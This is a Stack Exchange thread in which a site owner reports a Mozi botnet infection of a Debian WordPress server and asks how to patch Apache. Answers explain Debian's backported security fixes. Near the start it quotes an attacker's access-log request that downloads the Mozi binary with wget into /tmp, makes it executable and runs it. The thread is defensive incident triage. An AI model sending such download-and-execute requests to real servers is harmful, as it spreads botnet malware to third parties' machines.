I recently discovered that my Wordpress blog running on Google Compute Engine has been infected by the Mozi malware and was for a long time part of their botnet (confirmed as I received a warning from Google for illegal attempts to attack third parties).

First let's see what is my VM running:

OS: Debian 9 Strech
Web Server: Apache 2.4.25
DB: MySQL 5.7.30
phpMyAdmin 5.0.2
Wordpress 5.5.1

Let me show you my findings:

Part of access.log of Apache2

115[.]61.116.192 - - [20/Oct/2020:10:53:15 +0000] "27;wget%20http://%s:%d/Mozi.m%20-O%20->%20/tmp/Mozi.m;chmod%20777%20/tmp/Mozi.m;/tmp/Mozi.m%20dlink.mips%27$ HTTP/1.0" 400 0 "-" "-"

Notice that it tries to execute arbitary code by downloading a script with wget and then attempting to chmod 777 it.

Part of error.log of Apache2

chmod: changing permissions of '/opt/c2d/downloads/phpmyadmin/doc/html/genindex.html': Operation not permitted
chmod: changing permissions of '/opt/c2d/downloads/phpmyadmin/doc/html/index.html': Operation not permitted
chmod: changing permissions of '/opt/c2d/downloads/phpmyadmin/index.php': Operation not permitted
chmod: changing permissions of '/opt/c2d/downloads/phpmyadmin/setup/index.php': Operation not permitted

They seem to have succeeded in executing the arbitary code. Although not root, one malicious php script had been chmoded successfully by user www-data.

I think it is quite obvious that I'm running a vulnerable version of apache and hackers use this exploit CVE-2019-0211, after making a search in the CVE database.

I was held in surprise when I saw that although I tried to upgrade apache, apt said that I'm running the latest version. I mean this is a 2019 exploit, and I'm running version 2.5.25 when apache is now in 2.5.46. After making a search, I read in this Unix SE post that Debian handles differently package releases (I admit that I don't use Debain that much to know their perception on things like that).

My question is: How can I update apache to patch my system ? As you may understand, I need a solution ASAP.


Output of dpkg -l apache2:

| Status=Not/Inst/Conf-files/Unpacked/halF-conf/Half-inst/trig-aWait/Trig-pend
|/ Err?=(none)/Reinst-required (Status,Err: uppercase=bad)
||/ Name                   Version          Architecture     Description
ii  apache2                2.4.25-3+deb9u9  amd64            Apache HTTP Server
  • Could you edit your question to show the output of dpkg -l apache2? – Stephen Kitt Oct 23 '20 at 10:29
  • @StephenKitt Please see my edit. – NickDelta Oct 23 '20 at 10:34
  • It may be worthwile posting this question on Security SE. – AdminBee Oct 23 '20 at 10:37
  • Note that your access.log entry reports a 400 status, so it’s not clear that the wget and co were actually executed. The CVE you identified is tracked in Debian as DSA-4422-1. – Stephen Kitt Oct 23 '20 at 10:41
  • 1
    @StephenKitt I can verify that they were executed as I also see wget output in my access.log. Let me investigate my logs a bit further and I will respond with an update probably. – NickDelta Oct 23 '20 at 10:47

You may see a problem where it isn't.

Debian is known to stick with the same upstream release of a package during a distribution's lifetime. This is their policy which has advantages in one scenario and disadvantages in another.

However, of course, Debian is fixing security issues in a timely manner. This may not be obvious, though, because they usually don't take the upstream release where the problem is fixed and make a new package from that. Instead, they are creating a specific patch which will fix the problem when applied to the "old" version their distribution includes.

For example, in Debian buster, with all distribution updates applied at the time of this writing, aptitude show apache2 produces output which contains the following line:

Version: 2.4.38-3+deb10u4

The first numbers (2.4.38) are the Apache version, while the second part (-3+deb10u4) can be understood as a sort of "patch level". That second part will change whenever they fix a security problem (as opposed to the first part, which is the actual Apache version number, and which will stay the same during that distribution's lifetime).

The other way around: Debian's source code of the Apache 2.4.38 package differs significantly from the original upstream Apache 2.4.38 source code, because the former has patches (security fixes) applied, although those fixes may have appeared in later upstream source code with a higher version number.

To make a long story short: Provided you apply all updates in a timely manner (apt-get update, aptitude dist-upgrade etc.), and provided you have configured apt correctly (mainly /etc/apt/sources.list or the files in /etc/apt/sources.d, respectively), you don't need to worry (and chances are that the hack happened via Wordpress, not via Apache).

  • Considering that I see logs of wget and chmod in my apache logs, isn't it certain that they managed to execute their code in child processes or threads of apache? – NickDelta Oct 23 '20 at 10:50
  • Analyzing what actually happened is another story. I just wanted to point out that you might believe that you are running an insecure Apache version due to its version number, but actually you run a secure version with all security fixes applied :-) As I have understood it, your question was not "How did the hack happen?", it was "How do I upgrade Apache?"; I just wanted to answer that part. – Binarus Oct 23 '20 at 10:55
  • You have a point in that. I will consider marking your question as the accepted one. – NickDelta Oct 23 '20 at 11:19

Your Answer

By clicking “Post Your Answer”, you agree to our terms of service, privacy policy and cookie policy

Not the answer you're looking for? Browse other questions tagged or ask your own question.